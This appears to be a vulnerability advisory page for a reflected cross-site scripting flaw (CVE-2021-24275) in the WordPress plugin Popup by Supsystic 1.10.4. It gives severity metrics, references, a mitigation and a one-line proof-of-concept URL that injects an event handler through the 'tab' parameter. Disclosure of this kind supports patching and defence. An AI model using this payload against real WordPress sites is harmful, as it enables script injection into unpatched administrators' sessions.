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vendor:
Popup by Supsystic
by:
0xB9
6,1
CVSS
MEDIUM
Reflected Cross-Site Scripting (XSS)
79
CWE
Product Name: Popup by Supsystic
Affected Version From: 1.10.4
Affected Version To: 1.10.4
Patch Exists: YES
Related CWE: CVE-2021-24275
CPE: 2.3:a:wordpress:popup_by_supsystic:1.10.4
Metasploit: N/A
Other Scripts: N/A
Tags: wpscan,packetstorm,wordpress,cve,cve2021,wp-plugin
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Nuclei References: https://wpscan.com/vulnerability/efdc76e0-c14a-4baf-af70-9d381107308f, http://packetstormsecurity.com/files/164311/WordPress-Popup-1.10.4-Cross-Site-Scripting.html, https://nvd.nist.gov/vuln/detail/CVE-2021-24275
Nuclei Metadata: {'max-request': 1, 'framework': 'wordpress', 'vendor': 'supsystic', 'product': 'popup'}
Platforms Tested: Windows 10
2021

WordPress Plugin Popup 1.10.4 – Reflected Cross-Site Scripting (XSS)

WordPress Popup by Supsystic before 1.10.5 did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected cross-site scripting issue.

Mitigation:

Sanitize the tab parameter of the plugin's options page before outputting it in an attribute.
Source

Exploit-DB raw data:

# Exploit Title: WordPress Plugin Popup 1.10.4 - Reflected Cross-Site Scripting (XSS)
# Date: 3/28/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/popup-by-supsystic/
# Version: 1.10.4
# Tested on: Windows 10
# CVE: CVE-2021-24275

1. Description:
The plugin did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue

2. Proof of Concept:
/wp-admin/admin.php?page=popup-wp-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//

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